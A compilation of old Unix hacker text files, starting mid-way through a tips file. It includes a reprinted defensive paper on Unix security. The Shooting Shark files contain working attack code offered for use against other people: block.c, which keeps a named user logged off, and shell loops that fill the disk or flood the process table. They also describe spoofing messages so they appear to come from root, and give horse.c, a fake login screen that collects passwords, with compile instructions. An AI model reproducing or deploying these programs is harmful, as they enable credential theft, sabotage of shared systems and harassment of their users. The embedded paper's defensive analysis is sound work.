   I personally don't like the uucp things. Uucico and uux are
   limited by the Permissions file, and in most cases, that means
   you can't do anything except get & take from the uucppublic
   dirs. Then again, if the permission/L.cmd is blank, you should
   be able to take what files that you want. I still don't like it.
  
   -Sending mail:
  
   Sometimes, the mail program checks only the shell var LOGNAME,
   so change it, export it, and you may be able to send mail as
   anyone. (Mainly early system 5's.)
  
       $ LOGNAME="root";export LOGNAME
  
  -Printing out all the files on the system:
 
   Useful if you're interested in the filenames.
 
       $ find / -print >file_list&
 
   And then do a 'grep text file_list' to find any files with
   'text' in their names. Like grep [.]c file_list,
   grep host file_list....
 
   -Printing out all restricted files:
 
  Useful when you have root. As a normal user, do:

        $ find / -print >/dev/null&
 
   This prints out all nonaccessable directories, so become root
   and see what they are hiding.
 
   -Printing out all the files in a directory:
 
  Better looking than ls -R:
 
       $ find . -print
 
   It starts at the present dir, and goes all the way down. Catches
   all '.files', too.
 
   -Rsh:
 
   Well in the case of having an account with rsh only, check your
   'set'. If SHELL is not /bin/sh, and you are able to run anything
   with a shell escape (ex, ed, vi, write, mail...), you should
   be put into sh if you do a '!sh'. If you have write permission
   on your .profile, change it, because rsh is ran after checking
   profile.
 
   -Humor:
 
   On a system 5, do a:
 
       $ cat "food in cans"
 
   or on a csh, do:
 
       % hey unix, got a match?
 
   Well, i didn't say it was great.


Password hacking:

    -Salt:
 
   In a standard /etc/passwd file, passwords are 13 characters
   long. This is a 11 char encrypted passwd and a 2 char encryption
   modifier (salt), which is used to change the des algorithym
   in one of 4096<?> ways. Which means there is no decent way
   to go and reverse hack it. Yet.
 
   On normal system 5 unix, passwords are supposed to be 6-8 characters
   long and have both numeric and alphabetic characters in them.
   Which makes a dictionary hacker pretty worthless. However:
   if a user keeps insisting his password is going to be 'dog',
   usually the system will comply (Depending on version).
   I have yet to try it, but having the hacker try the normal entry,
   and then the entry terminated by [0-9] is said to have remarkable
   results, if you don't mind the 10-fold increase in time.

*-----------------------------------------------------------------------*

                  +--------------------------------------+
                  |     "Unix System Security Issues"    |
                  |              Typed by:               |
                  |               Whisky                 |
                  |         (from Holland, Europe)       |
                  +--------------------------------------+
                  |                 From                 |
                  |            Information Age           |
                  |              Written By:             |
                  | Michael J. Knox and Edward D. Bowden |
                  +--------------------------------------+

Note:  This file was sent to me from a friend in Holland. I felt
       that it would be a good idea to present this file to the
       UNIX-hacker community, to show that hackers don't always
       harm systems, but sometimes look for ways to secure flaws
       in existing systems.  -- Jester Sluggo !!

There are a number of elements that have lead to the popularity of the
Unix operating system in the world today. The most notable factors are
its portability among hardware platforms and the interactive programming
environment that it offers to users. In fact, these elements have had
much to do with the succesful evolution of the Unix system in the
commercial market place. (1, 2)

  As the Unix system expands further into industry and government, the
need to handle Unix system security will no doubt become imperative. For
example, the US government is committing several millon dollars a year
for the Unix system and its supported hardware. (1) The security
requirements for the government are tremendous, and one can only guess
at the future needs of security in industry.

  In this paper, we will cover some of the more fundamental security
risks in the Unix system. Discussed are common causes of Unix system
compromise in such areas as file protecion, password security,
networking and hacker violations. In our conclusion, we will comment
upon ongoing effects in Unix system security, and their direct influence
on the portability of the Unix operating system.


FILE AND DIRECTORY SECURITY

In the Unix operating system environment, files and directories are
organized in a tree structure with specific access modes. The setting of
these modes, through permission bits (as octal digits), is the basis of
Unix system security. Permission bits determine how users can access
files and the type of access they are allowed. There are three user
access modes for all Unix system files and directories: the owner, the
group, and others. Access to read, write and execute within each of the
usertypes is also controlled by permission bits (Figure 1). Flexibility
in file security is convenient, but it has been criticized as an area of
system security compromise.


                        Permission modes
OWNER                        GROUP                    OTHERS
------------------------------------------------------------
rwx            :             rwx            :         rwx
------------------------------------------------------------
r=read  w=write  x=execute

-rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
drwx------ 2 sam A1 2 May 01 12:01 directory

FIGURE 1.  File and directory modes: File shows Bob as the owner, with
read and write permission. Group has write permission, while Others has
read and execute permission. The directory gives a secure directory not
readable, writeable, or executable by Group and Others.


  Since the file protection mechanism is so important in the Unix
operating system, it stands to reason that the proper setting of
permission bits is required for overall security. Aside from user
ignorance, the most common area of file compromise has to do with the
default setting of permission bits at file creation. In some systems the
default is octal 644, meaning that only the file owner can write and
read to a file, while all others can only read it. (3) In many "open"
environments this may be acceptable. However, in cases where sensitive
data is present, the access for reading by others should be turned off.

The file utility umask does in fact satisfy this requirement. A
suggested setting, umask 027, would enable all permission for the file
owner, disable write permission to the group, and disable permissions
for all others (octal 750). By inserting this umask command in a user
.profile or .login file, the default will be overritten by the new
settings at file creation.

  The CHMOD utility can be used to modify permission settings on files
and directories. Issuing the following command,

chmod u+rwd,g+rw,g-w,u-rwx file

will provide the file with the same protection as the umask above
(octal 750). Permission bits can be relaxed with chmod at a later
time, but at least initially, the file structure can be made secure
using a restrictive umask.

  By responsible application of such utilities as umask and chmod, users
can enhance file system security. The Unix system, however, restricts
the security defined by the user to only owner, group and others. Thus,
the owner of the file cannot designate file access to specific users. As
Kowack and Healy have pointed out, "The granularity of control that
(file security) mechanisms is often insufficient in practice (...) it is
not possible to grant one user write protection to a directory while
granting another read permission to the same directory. (4) A useful
file security file security extension to the Unix system might be
Multics style access control lists.

  With access mode vulnerabilities in mind, users should pay close
attention to files and directories under their control, and correct
permissions whenever possible. Even with the design limitations in mode
granularity, following a safe approach will ensure a more secure Unix
system file structure.


SUID and SGID

The set user id (suid) and set group id (sgid) identify the user and
group ownership of a file. By setting the suid or sgid permission bits
of an executable file, other users can gain acces to the same resources
(via the executable file) as that of the real file's owner.

For Example:

Let Bob's program bob.x be an executable file accessible to others. When
Mary executes bob.x, Mary becomes the new program owner. If during
program execution bob.x requests access to file browse.txt, then Mary
must have previous read or write permission to browse.txt. This would
allow Mary and everyone else total access to the contents of browse.txt,
even when she is not running bob.x. By turning on the suid bit of bob.x,
Mary will have the same access permissions to browse.txt as does the
program's real owner, but she will only have access to browse.txt during
the execution of bob.x. Hence, by incorperating suid or sgid, unwelcome
browsers will be prevented form accessing files like browse.txt

  Although this feature appears to offer substantial access control to
Unix system files, it does have one critical drawback. There is always
the chance that the superuser (system administrator) may have a writable
file for others that is also set with suid. With some modification in
the file's code (by a hacker), an executable file like this would enable
a user to become a superuser. Within a short period of time this
violator could completely compromise system security and make it
inaccessible, even to other superusers. As Farrow (5) puts it, "(...)
having a set-user-id copy of the shell owned by root is better than
knowing the root password".

  To compensate for this security threat, writable suid files should be
sought out and eliminated by the system administrator. Reporting of such
files by normal users is also essential in correcting existing security
breaches.


DIRECTORIES

Directory protection is commonly overlooked component of file security
in the Unix system. Many system administrators and users are unaware of
the fact, that "publicly writable directories provide the most
opportunities for compromising the Unix system security" (6).
Administrators tend to make these "open" for users to move around and
access public files and utilities. This can be disastrous, since files
and other subdirectories within writable directories can be moved out
and replaced with different versions, even if contained files are
unreadable or unwritable to others. When this happens, an unscrupulous
user or a "password breaker" may supplant a Trojan horse of a commonly
used system utility (e.g. ls, su, mail and so on). For example, imagine

For example:

Imagine that the /bin directory is publicly writable. The perpetrator
could first remove the old su version (with rm utility) and then
include his own fake su to read the password of users who execute
this utility.

  Although writable directories can destroy system integrity, readable
ones can be just as damaging. Sometimes files and directories are
configured to permit read access by other. This subtle convenience can
lead to unauthorized disclosure of sensitive data: a serious matter when
valuable information is lost to a business competitor.

  As a general rule, therefore, read and write access should be removed
from all but system administrative directories. Execute permission will
allow access to needed files; however, users might explicitly name the
file they wish to use. This adds some protection to unreadable and
unwritable directories. So, programs like lp file.x in an unreadable
directory /ddr will print the contents of file.x, while ls/ddr would not
list the contents of that directory.


PATH VARIABLE

PATH is an environment variable that points to a list of directories,
which are searched when a file is requested by a process. The order of
that search is indicated by the sequence of the listed directories in
the PATH name. This variable is established at user logon and is set up
in the users .profile of .login file.

  If a user places the current directory as the first entry in PATH,
then programs in the current directory will be run first. Programs in
other directories with the same name will be ignored. Although file and
directory access is made easier with a PATH variable set up this way, it
may expose the user to pre-existing Trojan horses.

  To illustrate this, assume that a trojan horse, similar to the cat
utility, contains an instruction that imparts access privileges to a
perpetrator. The fake cat is placed in a public directory /usr/his
where a user often works. Now if the user has a PATH variable with the
current directory first, and he enters the cat command while in
/usr/his, the fake cat in /usr/his would be executed but not the system
cat located in /bin.

  In order to prevent this kind of system violation, the PATH variable
must be correctly set. First, if at all possible, exclude the current
directory as the first entry in the PATH variable and type the full path
name when invoking Unix system commands. This enhances file security,
but is more cumbersome to work with. Second, if the working directory
must be included in the PATH variable, then it should always be listed
last. In this way, utilities like vi, cat, su and ls will be executed
first from systems directories like /bin and /usr/bin before searching
the user's working directory.


PASSWORD SECURITY

User authentication in the Unix system is accomplished by personal
passwords. Though passwords offer an additional level of security
beyond physical constraints, they lend themselves to the greatest area
of computer system compromise. Lack of user awareness and responsibility
contributes largely to this form of computer insecurity. This is true of
many computer facilities where password identification, authentication
and authorization are required for the access of resources - and the
Unix operating system is no exception.

  Password information in many time-sharing systems are kept in
restricted files that are not ordinarily readable by users. The Unix
system differs in this respect, since it allows all users to have read
access to the /etc/passwd file (FIGURE 2) where encrypted passwords and
other user information are stored. Although the Unix system implements a
one-way encryption method, and in most systems a modified version of the
data encryption standard (DES), password breaking methods are known.
Among these methods, brute-force attacks are generally the least
effective, yet techniques involving the use of heuristics (good guesses
and knowledge about passwords) tend to be successful. For example, the
/etc/passwd file contains such useful information as the login name and
comments fields. Login names are especially rewarding to the "password
breaker" since many users will use login variants for passwords
(backward spelling, the appending of a single digit etc.). The comment
field often contains items such as surname, given name, address,
telephone number, project name and so on. To quote Morris and Grampp (7)
in their landmark paper on Unix system security:

  [in the case of logins]

  The authors made a survey of several dozen local machines, using as
  trial passwords a collection of the 20 most common female first names,
  each followed by a single digit. The total number of passwords tried was,
  therefore, 200. At least one of these 200 passwords turned out to be a
  valid password on every machine surveyed.

  [as for comment fields]

  (...) if an intruder knows something about the people using a machine,
  a whole new set of candidates is available. Family and friend's names,
  auto registration numbers, hobbies, and pets are particularly
  productive categories to try interactively in the unlikely event that
  a purely mechanical scan of the password file turns out to be
  disappointing.

Thus, given a persistent system violator, there is a strong evidence,
that he will find some information about users in the /etc/passwd file.
With this in mind, it is obvious that a password file should be
unreadable to everyone except those in charge of system administration.


root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin
mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin

FIGURE 2.  The /etc/passwd file. Note the comments field as underlined
terms.


  Resolution of the /etc/passwd file's readability does not entirely
solve the basic problem with passwords. Educating users and
administrators is necessary to assure proper password utilization.
First, "good passwords are those that are at least six characters long,
aren't based on personal information, and have some nonalphabetic
(especially control) characters in them: 4score, my_name, luv2run" (8).
Secondly, passwords should be changed periodically but users should avoid
alternating between two passwords. Different passwords for different
machines and files will aid in protecting sensitive information.
Finally, passwords should never be available to unauthorized users.
Reduction of user ignorance about poor password choice will inevitably
make a system more secure.

NETWORK SECURITY

UUCP system
The most common Unix system network is the UUCP system, which is a group
of programs that perform the file tranfers and command execution between
remote systems. (3) The problem with the UUCP system is that users on
the network may access other users' files without access permission. As
stated by Nowitz (9),

  The uucp system, left unrestricted, will let any outside user execute
  commands and copy in/out any file that is readable/writable by a uucp
  login user. It is up to the individual sites to be aware of this, and
  apply the protections that they feel free are necessary.

This emphasizes the importance of proper implementation by the system
administrator.

  There are four UUCP system commands to consider when looking into
network security with the Unix system. The first is uucp, a command used
to copy files between two Unix systems. If uucp is not properly
implemented by the system administrator, any outside user can execute
remote commands and copy files from another login user. If the file name
on another system is known, one could use the uucp command to copy files
from that system to their system. For example:

  %uucp system2!/main/src/hisfile myfile

will copy hisfile from system2 in the directory /main/src to the file
myfile in the current local directory. If file transfer restrictions
exist on either system, hisfile would not be sent. If there are no
restrictions, any file could be copied from a remote user - including
the password file. The following would copy the remote system
/etc/passwd file to the local file thanks:

  %uucp system2!/etc/passwd thanks

System administrators can address the uucp matter by restricting uucp
file transfers to the directory /user/spool/uucppublic. (8) If one tries
to transfer a file anywhere else, a message will be returned saying
"remote access to path/file denied" and no file transfer will occur.

  The second UUCP system command to consider is the uux. Its function is
to execute commands on remote Unix computers. This is called remote
command execution and is most often used to send mail between systems
(mail executes the uux command internally).

  The ability to execute a command on another system introduces a
serious security problem if remote command execution is not limited. As
an example, a system should not allow users from another system to
perform the following:

  %uux "system1!cat</etc/passwd>/usr/spool/uucppublic"

which would cause system1 to send its /etc/passwd file to the system2
uucp public directory. The user of system2 would now have access to the
password file. Therefore, only a few commands should be allowed to
execute remotely. Often the only command allowed to run uux is rmail,
the restricted mail program.

  The third UUCP system function is the uucico (copy in / copy out)
program. It performs the true communication work. Uucp or uux does not
actually call up other systems; instead they are queued and the uucico
program initiates the remote processes. The uucico program uses the file
/usr/uucp/USERFILE to determine what files a remote system may send or
receive. Checks for legal files are the basis for security in USERFILE.
Thus the system administrator should carefully control this file.

  In addition, USERFILE controls security between two Unix systems by
allowing a call-back flag to be set. Therefore, some degree of security
can be achieved by requiring a system to check if the remote system is
legal before a call-back occurs.

  The last UUCP function is the uuxqt. It controls the remote command
execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to
determine which commands will run in response to a remote execution
request. For example, if one wishes to use the electronic mail feature,
then the L.cmd file will contain the line rmail. Since uuxqt determines
what commands will be allowed to execute remotely, commands which may
compromise system security should not be included in L.cmd.


CALL THE UNIX SYSTEM

In addition to UUCP network commands, one should also be cautious of the
cu command (call the Unix system). Cu permits a remote user to call
another computer system. The problem with cu is that a user on a system
with a weak security can use cu to connect to a more secure system and
then install a Trojan horse on the stronger system. It is apparent that
cu should not be used to go from a weaker system to a stronger one, and
it is up to the system administrator to ensure that this never occurs.


LOCAL AREA NETWORKS

With the increased number of computers operating under the Unix system,
some consideration must be given to local area networks (LANs). Because
LANs are designed to transmit files between computers quickly, security
has not been a priority with many LANs, but there are secure LANs under
development. It is the job of the system manager to investigate security
risks when employing LANs.


OTHER AREAS OF COMPROMISE

There are numerous methods used by hackers to gain entry into computer
systems. In the Unix system, Trojan horses, spoofs and suids are the
primary weapons used by trespassers.

  Trojan horses are pieces of code or shell scripts which usually assume
the role of a common utility but when activated by an unsuspecting user
performs some unexpected task for the trespasser. Among the many
different Trojan horses, it is the su masquerade that is the most
dangerous to the Unix system.

  Recall that the /etc/passwd file is readable to others, and also
contains information about all users - even root users. Consider what a
hacker could do if he were able to read this file and locate a root user
with a writable directory. He might easily plant a fake su that would
send the root password back to the hacker. A Trojan horse similar to
this can often be avoided when various security measures are followed,
that is, an etc/passwd file with limited read acces, controlling writable
directories, and the PATH variable properly set.

  A spoof is basically a hoax that causes an unsuspecting victim to
believe that a masquerading computer funtion is actually a real system
operation. A very popular spool in many computer systems is the
terminal-login trap. By displaying a phoney login format, a hacker is
able to capture the user's password.

  Imagine that a root user has temporarily deserted his terminal. A
hacker could quickly install a login process like the one described by
Morris and Grampp (7):

  echo -n "login:"
  read X
  stty -echo
  echo -n "password:"
  read Y
  echo ""
  stty echo
  echo %X%Y|mail outside|hacker&
  sleep 1
  echo Login incorrect
  stty 0>/dev/tty

We see that the password of the root user is mailed to the hacker who
has completely compromised the Unix system. The fake terminal-login acts
as if the user has incorrectly entered the password. It then transfers
control over to the stty process, thereby leaving no trace of its
existence.

  Prevention of spoofs, like most security hazards, must begin with user
education. But an immediate solution to security is sometimes needed
before education can be effected. As for terminal-login spoofs, there
are some keyboard-locking programs that protect the login session while
users are away from their terminals. (8, 10) These locked programs
ignore keyboard-generated interrupts and wait for the user to enter a
password to resume the terminal session.

  Since the suid mode has been previously examined in the password
section, we merely indicate some suid solutions here. First, suid
programs should be used is there are no other alternatives. Unrestrained
suids or sgids can lead to system compromise. Second, a "restricted
shell" should be given to a process that escapes from a suid process to
a child process. The reason for this is that a nonprivileged child
process might inherit privileged files from its parents. Finally, suid
files should be writable only by their owners, otherwise others may have
access to overwrite the file contents.

  It can be seen that by applying some basic security principles, a user
can avoid Trojan horses, spoofs and inappropriate suids. There are
several other techniques used by hackers to compromise system security,
but the use of good judgement and user education may go far in
preventing their occurence.


CONCLUSION

Throughout this paper we have discussed conventional approaches to Unix
system security by way of practical file management, password
protection, and networking. While it can be argued that user eduction is
paramount in maintaining Unix system security (11) factors in human
error will promote some degree of system insecurity. Advances in
protection mechanisms through better-written software (12), centralized
password control (13) and identification devices may result in enhanced
Unix system security.

  The question now asked applies to the future of Unix system operating.
Can existing Unix systems accommodate the security requirements of
government and industry? It appears not, at least for governmental
security projects. By following the Orange Book (14), a government
graded classification of secure computer systems, the Unix system is
only as secure as the C1 criterion. A C1 system, which has a low
security rating (D being the lowest) provides only discretionary
security protection (DSP) against browsers or non-programmer users.

Clearly this is insufficient as far as defense or proprietary security
is concerned. What is needed are fundamental changes to the Unix
security system. This has been recognized by at least three companies,
AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made
vital changes to the kernel and file system in order to produce a C2
rated Unix operating system. To achieve this, however, they have had to
sacrifice some of the portability of the Unix system. It is hoped that
in the near future a Unix system with an A1 classification will be
realized, though not at the expense of losing its valued portability.


*------------------------------------------------------------------------*

                 --- ---- ---- ------ ------ -- -- ---- -----
                      Some Nasty Things to Do With Unix!  
                 --- ---- ---- ------ ------ -- -- ---- -----

                              By Shooting Shark.
                           



These two topics are methods of annoying other users of the system
and generally being a pest.  But would you want to see a file on *constructive*
things to do with Unix?  Didn't think so...


--  ------- ----- --- --- ------
1.  Keeping Users Off The System
--  ------- ----- --- --- ------

Now, we all know by now how to log users off (one way is to redirect
an 'stty 0' command to their tty) but unless you have root privs, this
will not work when a user has set 'mesg n' and prevented other users from
writing to their terminal.  But even users who have a 'mesg n' command in
their .login (or .profile or .cshrc) file still have a window of vulnerability,
the time between login and the locking of their terminal.  I designed
the following program, block.c, to take advantage of this fact.

To get this source running on your favorite Unix system, upload it,
call it 'block.c', and type the following at the % or $ prompt:

cc -o block block.c

once you've compiled it successfully, it is invoked like so:

block username [&]

The & is optional and recommended - it runs the program in the background,
thus letting you do other things while it's at work.

If the user specified is logged in at present, it immediately logs
them out (if possible) and waits for them to log in.  If they aren't logged
in, it starts waiting for them.  If the user is presently logged in but
has their messages off, you'll have to wait until they've logged out to
start the thing going.

Block is essentially an endless loop : it keeps checking for the occurence
of the username in /etc/utmp.  When it finds it, it immediately logs them
out and continues.  If for some reason the logout attempt fails, the program
aborts.  Normally this won't happen - the program is very quick when run
unmodified.  However, to get such performance, it runs in a very tight
loop and will eat up a lot of CPU time.  Notice that near the end of the
program there is the line:

/*sleep(SLEEP)   */

the /* and */ are comment delimiters - right now the line is commented
out.  If you remove the comments and re-compile the program, it will then
'go to sleep' for the number of seconds defined in SLEEP (default is 5)
at the end of every loop.  This will save the system load but will slightly
decrease the odds of catching the user during their 'window of vulnerability.'

If you have a chance to run this program at a computer lab at a school or
somewhere similar, run this program on a friend (or an enemy) and watch
the reaction on their face when they repeatedly try to log in and are
logged out before they can do *anything*.  It is quite humorous.  This
program is also quite nasty and can make you a lot of enemies!

caveat #1:  note that if you run the program on yourself, you will be logged
out, the program will continue to run (depending on the shell you're under)
and you'll have locked yourself out of the system - so don't do this!

caveat #2:  I wrote this under OSx version 4.0, which is a licensed version
of Unix which implements 4.3bsd and AT&T sysV.  No guarantees that it will
work on your system.

caveat #3:  If you run this program in background, don't forget to kill
it when you're done with it!  (when you invoke it with '&', the shell will
give you a job number, such as '[2] 90125'.  If you want to kill it later
in the same login session, type 'kill %2'.  If you log in later and want
to kill it, type 'kill 90125'.  Just read the man page on the kill command
if you need any help...

----- cut here -----

/* block.c -- prevent a user from logging in
 * by Shooting Shark
 * usage : block username [&]
 * I suggest you run this in background.
 */

#include <stdio.h>
#include <utmp.h>
#include <ctype.h>
#include <termio.h>
#include <fcntl.h>

#define W_OK2
#define SLEEP5
#define UTMP"/etc/utmp"
#define TTY_PRE "/dev/"

main(ac,av)
int ac;
char *av[];
{
int target, fp, open();
struct utmpuser;
struct termio*opts;
char buf[30], buf2[50];

if (ac != 2) {
printf("usage : %s username\n",av[0]);
exit(-1);
}


for (;;) {

if ((fp = open(UTMP,0)) == -1) {
printf("fatal error!  cannot open %s.\n",UTMP);
exit(-1);
}


while (read(fp, &user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {

printf("%s is logging in...",user.ut_name);
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
printf("%s\n",buf);
if (access(buf,W_OK) == -1) {
printf("failed - program aborting.\n");
exit(-1);
}
else {
if ((target = open(buf,O_WRONLY)) != EOF) {
sprintf(buf2,"stty 0 > %s",buf);
system(buf2);
printf("killed.\n");
sleep(10);
}

} /* else */
} /* if strcmp */
} /* if isprint */
} /* while */
close(fp);

/*sleep(SLEEP);  */

} /* for */





}

----- cut here -----


--  ------------- ----- ----- ---- ------  --- ------
2.  Impersonating other users with 'write' and 'talk'
--  ------------- ----- ----- ---- ------  --- ------

This next trick wasn't exactly a work of stupefying genius, but is a
little trick (that anybody can do) that I sometimes use to amuse myself
and, as with the above, annoy the hell out of my friends and enemies.

Nearly every Unix system has the 'write' program, for conversing with
other logged-in users.  As a quick summary:

If you see that user 'clara' is logged in with the 'who' or 'w' command
or whatever, and you wish to talk to her for some reason or another,
you'd type 'write clara'.  Clara then would see on her screen something
like this (given that you are username 'shark'):


[3 ^G's] Message from shark on ttyi13 at 23:14 ...

You then type away at her, and whatever you type is sent to her terminal
line-by-line.  If she wanted to make it a conversation rather than a
monologue, she'd type 'write shark,' you'd get a message similar to the above
on your terminal, and the two of you would type away at each other to your
little heart's content.  If either one of you wanted to end the conversation,
you would type a ^D.  They would then see the characters 'EOF' on their
screen, but they'd still be 'write'ing to you until they typed a ^D as well.

Now, if you're on a bigger installation you'll probably have some sort
of full-screen windowing chat program like 'talk'.  My version of talk
sends the following message:

Message from Talk_Daemon@tibsys at 23:14 ...
talk: connection requested by shark@tibsys.
talk: respond with:  talk shark@tibsys

Anyway, here's where the fun part begins:  It's quite easy to put a sample
'write' or 'talk' message into a file and then edit so that the 'from'
is a different person, and the tty is listed differently.  If you see that
your dorky friend roger is on ttyi10 and the root also happens to be
logged on on ttyi01, make the file look something like this:

[3 control-G's] Message from root on ttyi01 at [the current time]

wackawackawackawackawacka!!!

[or a similarly confusing or rude message...]

EOF

Then, send this file to roger's terminal with:

cat filename > /dev/ttyi10

He'll get the message on his terminal and wonder what the hell the
superuser is talking about.  He might even 'write' back to the superuser
with the intent of asking 'what the hell are you talking about?'.  For
maximum effectiveness, *simultaneously* send a message to root 'from'
roger at the appropriate terminal with an equally strange message - they'll
then engage in a conversation that will go something like "what did you
mean by that?"  "what do you mean, what do I mean?  What did *you* mean
by that?" etc.  A splendid time is guaranteed for all!  Note that you don't
have to make 'root' the perpetrator of the gag, any two currently logged-in
users who have their terminals open for messages can join in on the fun.

Similarly, you can fake a few 'talk' pages from/to two people...they will
then probably start talking...although the conversation will be along the
lines of "what do you want?"  "you tell me."  "you paged me, you tell *me."
etcetera, while you laugh yourself silly or something like that.

A variation on the theme:  As I said, when using 'write' you type a ^D to
end the conversation, and the person you're typing at sees an 'EOF' on
their screen.  But you could also just *type* 'EOF', and they'd think
you've quit...but you still have an open line to their terminal.  Even
if they later turn messages off, you still have the ability to write to
their terminal.  Keeping this fact in mind, anybody who knows what they're
doing can write a program similar to my 'block' program above that doesn't
log a user out when they appear on the system, but opens their tty as
a device and keeps the file handle in memory so you can redirect to their
terminal - to write rude messages or to log them out or whatever - at any
time, until they log out.

As I said, there was no great amount of genious in the above discourse,
but it's a pastime I enjoy occasionally...

-- Shooting Shark

*------------------------------------------------------------------------*

                                 ------------
                               More Unix Nasties
                                 ------------
                               By Shooting Shark

Summary:  Methods of sabotaging your favorite Unix system.

Preface:  I do not advocate utilizing ANY of the methods I put forth in this
          file.  Unix is a cool operating system, perhaps one of the best
          systems ever designed in many respects.  If you have access to a Unix
          system, you should LEARN UNIX AND LEARN C, because that is where the
          money is in the computer world.  However, Unix is a relatively
          insecure operating system which is easy to fuck up. This file
          explains a few ways of doing so.

Crash The System
Unix has no built-in provision for the maximum amount of disk space allowed per
user.  Thus, one user can grab all the disk space on the system and effectively
prevent anyone else from writing to the disk.  A simple way of grabbing all the
disk space is to create subdirectory after subdirectory until it is no longer
possible.  Here are a few ways of doing it.

1>  Create a file with the following lines:

mkdir subdir
cd subdir
source /u1/mydir/crash

    Call it crash.  The last line ("source /u1/mydir/crash") should be altered
    so that it will look for the file in your directory.  If your directory is
    /u3/students/jeff, the last line should say "source
    /u3/students/jeff/crash". After you write the above file, type:

% source crash

    and wait...within a few minutes the program will abort because it won't
    have any more room on the disk.  Neither will anyone else.

2>  Here's a more elegant way of doing the same thing.  Create this "endless
    loop" shellscript:

while : ; do
mkdir subdir
cd subdir
done

    and then "source" the file.  If you are in the "sh" shell (if you are, you
    will probably have a "$" prompt) you can type "while : ; do" from the $
    prompt.  You will then get a > prompt.  Type the next three lines and sit
    back.

3>  If you'd like to set the process in motion and hang up, and the file is
    called crash, type:

% nohup source crash &

    and log off.  This will start it as a background process, allowing you to
    log off.  However, log off QUICKLY, since if you used the first example for
    your crash file, it will also eat up background processes like crazy which
    will also fuck up the system to some extent.  Which brings us to...

Slow Down The System Immensely
------------------------------

There are many ways of doing this, the method being creating a sufficiently
large number of background processes.   Here's one specific example.  Create a
file called "slow1" with the following lines:

w &
source slow1

create a file called "slow2" with:

source slow1 &
source slow2

and execute slow2 with

% slow2
or
% slow2 &

This will create 25 background processes, each one running 25 background
processes.  The system will hardly move after you've got each one running.

Messing Up A Directory
----------------------

Many file-handling commands use "-" options.  Create a file with a "-" at the
beginning of its name by doing this:

cat > -filename

[now type a few lines, maybe something rude like "ha ha you can't delete this
file".]  Type a ^D (control-d) to end input.  You now have a file called
-filename in your directory.  It will be VERY difficult to remove this file.

If you were to try rm (remove) -filename or mv (rename) -filename, the rm or mv
program would interpret -filename as an option, not a file, and would give you
an error message telling you that -filename was not a valid option...thus, the
file stays there obnoxiously.
Create a couple of hundred files with "-" as the first characters in their
names...it will be a royal pain for the person who is blessed with these new
files, and they will probably just have to get a new login.

Conclusion
The use of any of these techniques is quite irresponsible, and if anyone did
this to my Unix system, I'd be quite pissed.  That is why I strongly recommend
that you never use these tricks.

*---------------------------------------------------------------------------*
                            ------------------
                            UNIX Trojan Horses
                            ------------------

            By Shooting Shark of Tiburon Systems / R0DENTZWARE 

Introduction
------------

     "UNIX Security" is an oxymoron.  It's an easy system to brute-
force hack (most UNIX systems don't hang up after x number of login
tries, and there are a number of default logins, such as root, bin,
sys and uucp).  Once you're in the system, you can easily bring
it to its knees (see my previous Phrack article, "UNIX Nasty Tricks")
or, if you know a little 'C', you can make the system work for you
and totally eliminate the security barriers to creating your own
logins, reading anybody's files, etcetera.  This file will outline
such ways by presenting 'C' code that you can implement yourself.

Requirements
------------
     You'll need a working account on a UNIX system.  It should be
a fairly robust version of UNIX (such as 4.2bsd or AT&T System V)
running on a real machine (a PDP/11, VAX, Pyramid, etc.) for the
best results.  If you go to school and have an account on the school
system, that will do perfectly.

Notes
-----
     This file was inspired an article in the April, '86 issue of
BYTE entitled "Making UNIX Secure."  In the article, the authors say
"We provide this information in a way that, we hope, is interesting and
useful yet stops short of being a 'cookbook for crackers.'  We have
often intentionally omitted details."  I am following the general
outline of the article, giving explicit examples of the methods they touched
on.

Here we go...

Project One:  Fishing For Passwords-----------------------------------

     You can implement this with only a minimal knowledge of UNIX and C.
     However, you need access to a terminal that many people use -
     the computer lab at your school, for example.

     When you log onto a typical UNIX system, you see something like this:

Tiburon Systems 4.2bsd / System V (shark)


login: shark
Password:      (not printed)

     The program I'm giving you here simulates a logon sequence.  You
run the program from a terminal and then leave.  Some unknowing fool
will walk up and enter their login and password.  It is written to a
file of yours, then "login incorrect" is printed, then the fool is
asked to log in again.  The second time it's the real login program.
This time the person succeeds and they are none the wiser.

     On the system, put the following code into a file called 'horse.c'.
You will need to modify the first 8 lines to fit your system's appearance.


----- Code Begins Here -----
/* #define's are like macros you can use for configuration. */

#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"

/* The above string should be made to look like the message that your
 * system prints when ready.  Each \n represents a carriage return.
 */

#define LOGIN  "login: "

/* The above is the login prompt.  You shouldn't have to change it
 * unless you're running some strange version of UNIX.
 */

#define PASSWORD "password:"

/* The above is the password prompt.  You shouldn't have to change
 * it, either.
 */

#define WAIT 2

/* The numerical value assigned to WAIT is the delay you get after
 * "password:" and before "login incorrect."  Change it (0 = almost
 * no delay, 5 = LONG delay) so it looks like your system's delay.
 * realism is the key here - we don't want our target to become
 * suspicious.
 */


#define INCORRECT "Login incorrect.\n"

/* Change the above so it is what your system says when an incorrect
 * login is given.  You shouldn't have to change it.
 */

#define FILENAME "stuff"

/* FILENAME is the name of the file that the hacked passwords will
 * be put into automatically.  'stuff' is a perfectly good name.
 */

/* Don't change the rest of the program unless there is a need to
 * and you know 'C'.
 */

#include <curses.h>
#include <signal.h>
int stop();

main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);


if ( ( fp = fopen(FILENAME,"a") )  != NULL ) {
#fprintf(fp,"login %s has password %s\n",name,password);
#fclose(fp);
#}

printf(INCORRECT);
endwin();
}

stop()
{
endwin();
exit(0);
}


----- Source Ends Here -----

     OK, as I said, enter the above and configure it so it looks exactly
like your system's login sequence.  To compile this program called
'horse.c' type the following two lines: (don't type the %'s, they are
just a sample prompt)

% cc horse.c -lcurses -ltermcap
% mv a.out horse

